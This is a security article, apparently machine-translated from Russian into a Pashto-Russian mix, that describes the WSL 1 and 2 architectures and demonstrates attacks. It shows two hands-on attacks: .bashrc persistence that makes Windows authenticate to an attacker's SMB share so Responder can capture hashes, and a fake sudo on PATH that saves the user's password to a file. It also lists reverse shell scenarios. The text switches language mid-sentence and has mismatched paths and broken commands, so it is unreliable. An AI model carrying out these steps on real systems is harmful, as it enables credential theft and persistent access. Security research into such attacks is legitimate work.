سلامونه او نیکې هیلې! OTUS په اکتوبر کې یو نوی کورس جریان پیلوي . د کورس د پیل په تمه، موږ ستاسو سره یوه مقاله شریکوو چې زموږ د یوه ښوونکي الکساندر کولسنیکوف لخوا لیکل شوي.

په 2016 کې، مایکروسافټ د IT ټولنې ته نوې WSL ټیکنالوژي معرفي کړه (Wهندوا .ې Sلپاره ubsystem Linux), в перспективе позволявшую объединить до этого непримиримых конкурентов, которые сражались за популярность как среди рядовых, так и продвинутых пользователей ОС: Windows и Linux. Данная технология предоставляла возможность использовать инструменты ОС Linux محاصره شوی Windows без необходимости запуска Linux, к примеру, с помощью мультизагрузки (Multi-boot). На Habr вы можете обнаружить большое количество статей, описывающих преимущества использования WSL. Однако, к сожалению, на момент создания статьи на данном ресурсе не было обнаружено исследований безопасности такого симбиоза операционных систем. Настоящий пост станет попыткой это исправить. В статье будет рассказано об особенностях архитектур WSL 1 и 2, разобрано несколько примеров атак на системы, использующие данные технологии. Статья разбита на 2 части. В первой будут предоставлены основные теоретические методы атак со стороны Linux и Windows. Вторая статья будет включать в себя настройку тестовой среды и воспроизведение атак.
WSL 1: معماري ځانګړتیاوې
Для наиболее точного погружения в проблемы безопасности WSL необходимо определить основные нюансы, связанные с имплементацией подсистемы. Одной из главных пользовательских задач, решаемых WSL, является предоставление возможности работы через терминал Linux систем на хосте с ОС Windows. Также предложенная совместимость была настолько нативной, что исполняемые файлы Linux (ELF) могли быть запущены прямо в системе Windows. Для достижения этих целей в Windows 10 была создана специальная подсистема, позволяющая запускать приложения Linux с помощью набора определённых системных вызовов — таким образом, была предпринята попытка маппинга набора syscall-ов Linux په Windows. Физически это было реализовано путем добавления новых драйверов и нового формата процесса. Визуально архитектура выглядела вот так:

По сути, взаимодействие с операционной системой Linux было организовано посредством нескольких ядерных модулей и специального вида процессов — pico. Из схемы выше видно, что процесс, запущенный в инстанс Linux на хосте, должен быть нативным и должен использовать те же ресурсы, что и обычные приложения Windows. Но как этого достичь? В проекте были разработаны концепты процессов для Windows, которые предоставляли все необходимые компоненты операционной системы (в зависимости от ее версии) для запуска приложения другой ОС.
Заметим, что предложенная абстракция позволяла не ориентироваться на операционную систему (в частности — Windows), в которой ожидается запуск процесса другой ОС, и предлагала общий подход.
Таким образом, любое приложение внутри pico процесса могло работать без оглядки на ядро Windows:
- د سیسټم تلیفونونو د مطابقت او ژباړې ستونزې باید د ځانګړي چمتو کونکو لخوا حل شي؛
- Разграничение доступа должно производиться через Монитор безопасности. Монитор располагается в ядре и поэтому Windows был необходим апгрейд в виде нового драйвера, который мог бы выступать в качестве провайдера для таких процессов. Прототип pico процесса схематично представлен ниже:

Поскольку файловая система Linux использует регистрозависимые названия файлов и директорий, в Windows были добавлены 2 типа файловых систем для работы с WSL — VolFS и DriveFS. VolFS — имплементация файловой системы Linux, DriveFS — файловая система, которая работает по правилам Windows, но имеет возможность выбора чувствительности к регистру имен.
WSL 2
WSL 1 имела ряд ограничений, не позволявших использовать ее для решения максимального спектра задач: к примеру, в ней отсутствовала возможность запуска 32-битных Linux приложений, нельзя было использовать device драйвера. Поэтому в 2020 году была выпущена WSL 2, которая сменила подход к построению подсистемы. WSL 2 — это оптимизированная виртуальная машина, которая соответствует характеристикам WSL 1 по потреблению ресурсов. Теперь, в зависимости от проблем, решаемых пользователем ОС Windows, можно выбирать необходимую версию подсистемы работы с Linux. Для митигации возможных уязвимостей WSL 2 была реализована на базе Hyper-V в Windows 10. В этом виде Windows имеет возможность изолированно запускать ядро операционной системы Linux. Стоит помнить, что версия 1 WSL была представлена как бета фича, которая должна была показать вектор развития Windows в этой области, поэтому переход на Hyper-V был неизбежен. Итоговая архитектура выглядит так:

В этой версии у ядер систем Windows и Linux есть свои собственные ресурсы и пересечение существует только в файловой системе, однако это пересечение нельзя назвать полным. Взаимодействие между файловыми системами проводится за счет клиент-серверной обертки, которая работает по протоколу 9P.
نن ورځ مایکروسافټ د WSL 1 او WSL 2 ترمنځ د بدلولو وړتیا چمتو کوي. دواړه نسخې د کارولو لپاره شتون لري.
د WSL امنیت
په اوس وخت کې، ډیری کارونه شتون لري چې د فرعي سیسټمونو ترمنځ د اړیکو د برید لپاره د مشروع OS وسیلو کارولو لپاره ځینې طریقې بیانوي. موږ به د دوی سکریپټونه وکاروو ترڅو د لیکلو په وخت کې د بریدونو تړاو وڅیړو. د بریدونو او سناریو عمومي لیست:
1. د فایل سیسټم پلي کول: د لاسرسي حقونه، د شریک لارښودونو / ډیټا تبادلې میکانیزمونو شتون.
څیړنې ترسره شوې ترڅو د لاسرسي مقرراتو څخه سرغړونه معلومه کړي Linux FS->Windows FS, Windows FS->Linux FS. څیړنې په نښه شوي OS کې د ورکړل شوي فایل بدلولو وړتیا ښودلې. د بدیل کولو، نقلونو جوړولو او د فایل سیسټمونو برخې حذف کولو هڅې هم شوي.
سناریو:
- A. Атака из операционной системы Windows — модификация файлов из директории /etc ОС Linux.
- B. Атака из операционной системы Linux — модификация файлов в директориях:
C:Windows,C:Program Files,C:Users<User>
2. د شبکې سټیک پلي کول.
Исследования проводились на примерах атак со стороны операционной системы Linux په Windows. Использовались особенности работы сетевого стека, а именно — механизмы аутентификации на различных ресурсах.
سناریو:
- Открытие доступа к порту, который занят в системе Windows
- د مناسبو حقونو پرته د بندر پرانیستل
- Запуск reverse shell с использованием elf файла в операционной системе Windows.
3. د WSL فرعي سیسټم په کارولو سره د ناوړه سافټویر پروسې پیل پټول.
څیړنه د یو ساده حقیقت پراساس وه - د امنیت فرعي سیسټمونه نشي کولی په بل دانه کې پیښې ودروي چې د WSL 1 په قضیه کې د عملیاتي سیسټم څخه د مشروع چمتو کونکي په کارولو سره کار کوي. د سپک وزن لرونکي مجازی ماشین دننه په جلا کرنل کې.
سناریو:
1) سیسټم ته د لیرې لاسرسي لپاره غوښتنلیک لانچ کړئ او ثبت شوي پیښې وګورئ.
WSL 1 эксперименты: перехват хэша (ОС Windows)
Наконец-то мы добрались до практической части. Для начала необходимо настроить окружение для тестов. Все эксперименты будут проводиться на стенде с установленным Windows 10 2004. В качестве образа операционной системы для WSL был выбран образ Ubuntu 18.04. Образ был выбран случайно, и любой другой будет работать так же. Команды для настройки стенда:
تاسو باید لومړی پیل کړئ powershell.exe د مدیر په توګه
د WSL 1 لپاره تاسو اړتیا لرئ کمانډونه پرمخ بوځي:
- فعال کړئ-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
После перезагрузки стенда можно вызвать команду bash. Если все верно сработало, то вы увидите примерно такой вывод в консоли Windows:

В качестве машины атакующего будем использовать дистрибутив Kali Linux, все машины должны находиться в одной локальной сети.
Предположим, что у нас есть непривелигированный доступ к WSL на машине Windows. Попробуем провести атаку на операционную систему Linux, вызвав команду из Linux. Для реализации атаки воспользуемся простой техникой автозапуска — добавим наш скрипт для выполнения в среде Linux. Для этого нужно изменить файл .bashrc.
د WSL سره په ماشین کې موږ اجرا کوو:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitНа машине Kali Linux موږ اجرا کوو:
1. Responder -I eth0 -rdvwد موټر په واسطه Windows запустим bash.
Ждем результат на машине Kali Linux:

Таким образом, мы получили хэши пользователя Windows через подсистему WSL, выполнив команду на системе Linux.
WSL 1 эксперименты: получение пароля пользователя (ОС Linux)
راځئ چې یوه بله تجربه وکړو. د دې چک په جریان کې به موږ فایل ته اضافه کړو .bashrc несколькими командами для того, чтобы получить пароль пользователя операционной системы Linux.
راځئ چې bash پیل کړو او کمانډونه دننه کړو:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Для успешного завершения атаки необходимо, чтобы пользователь Sam вызвал sudo в терминале Linux. После этого пароль пользователя ОС Linux окажется в файле pass.txt:

د بریدونو پلي کول یوازې د نظري معلوماتو لپاره ورکړل شوي.
د مقالې بله برخه به د 9P پروتوکول پلي کول تشریح کړي، د دې پروتوکول لپاره د سکینر رامینځته کولو په اړه فکر وکړي، او د هغې په کارولو سره برید هم ترسره کړي.
د کارول شوي ادبیاتو لیست
نور یی ولوله
سرچینه: www.habr.com
